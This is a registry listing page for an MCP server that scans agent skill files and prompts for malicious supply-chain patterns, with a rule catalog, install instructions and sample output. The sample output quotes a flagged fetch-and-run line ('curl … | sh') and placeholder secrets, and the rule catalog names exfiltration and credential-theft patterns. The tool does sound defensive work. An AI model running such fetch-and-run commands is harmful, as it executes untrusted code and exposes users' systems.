mcp-skill-sec
This server does not currently have a deployable release on Glama. Follow the repository's setup instructions to install and configure it for your MCP client, including any required credentials and local dependencies.
mcp-skill-sec
A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
What it scans for (rules R1–R8)
Rule | Pattern |
R1 | Prompt injection / instruction hijack ( |
R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) |
R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) |
R4 | Dangerous commands ( |
R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) |
R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) |
R7 | Credential access (reading |
R8 | Privilege escalation ( |
Each finding carries a severity (critical/high/medium/low), a line number,
and the matching evidence line. The overall verdict is PASS only when
there are no critical/high findings and every medium finding is benign.
Related MCP server: agent-sec-mcp
Tools
audit_text(text, filename)— audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path)— audit aSKILL.md/AGENTS.md/CLAUDE.mdon disk, line-numbered evidence.audit_directory(path, pattern)— audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list()— dump the rule catalog.
Install & run
One command (recommended) — installs from the repo, no PyPI token needed:
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
# then register with your agent:
mcp-skill-sec # run stdio server
mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote useOr with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec
Direct from source (fallback):
pip install mcp
python3 mcp_server.py # run stdio
mcp install mcp_server.py --name skill-sec # register with Claude DesktopClaude Desktop / agent config
{
"mcpServers": {
"skill-sec": {
"command": "mcp-skill-sec",
"args": []
}
}
}Example
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-auditPart of a family
This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:
mcp-skill-sec— pre-install skill/security audit (this repo)mcp-verify-claim— evidence-gated, honestly-tiered claim reportingmcp-benchmark-hygiene— pytest config-leakage / eval-honesty detection
Sibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion
Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.
License & provenance
MIT. Written by sudo-ai-git. This is a standalone security/verification
tool; it encodes no proprietary method. It is the MCP expression of the
skill-sec agent skill (same rules, callable as a server instead of a skill).
Official MCP Registry metadata
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
Hire a custom integration
Need this connected to your internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelog…
This server cannot be deployed
Maintenance
Related MCP Connectors
Zero-LLM deterministic security auditor for MCP configs, SKILL.md rules, and agent budgets.
Scan AI agent skills and configs for hidden Unicode, prompt injection and exfiltration.
Search the SkillSafe registry of security-scanned agent skills and scan skill files for risks.
Scan AI agent skills, MCP server packages and MCP configs before you install them. Static analysis.
Related MCP Servers
- AlicenseAqualityBmaintenanceAudits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.528 PyPI2Apache 2.0
- AlicenseNot gradedqualityDmaintenanceEnables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.MIT
- AlicenseNot gradedqualityCmaintenanceEnables users to scan AI agent skills and configuration files for hidden Unicode instructions, prompt injection, download-and-execute payloads, exfiltration patterns, and overly broad permissions before installation. It provides static audit tools for skill files, agent configs, and revealing hidden text without executing or fetching the input.MIT
- AlicenseNot gradedqualityBmaintenanceRuns read-only, offline static scans of the local machine's MCP server configs and agent skill folders, surfacing prompt injection, hidden Unicode, dangerous commands, credential paths, hardcoded secrets, unpinned packages, and over-broad filesystem or transport scope as text, JSON, SARIF, or HTML reports an agent can act on. Also allows scanning a single downloaded skill folder or a saved tools/list JSON so an agent can vet third-party components before installing them.39 npmMIT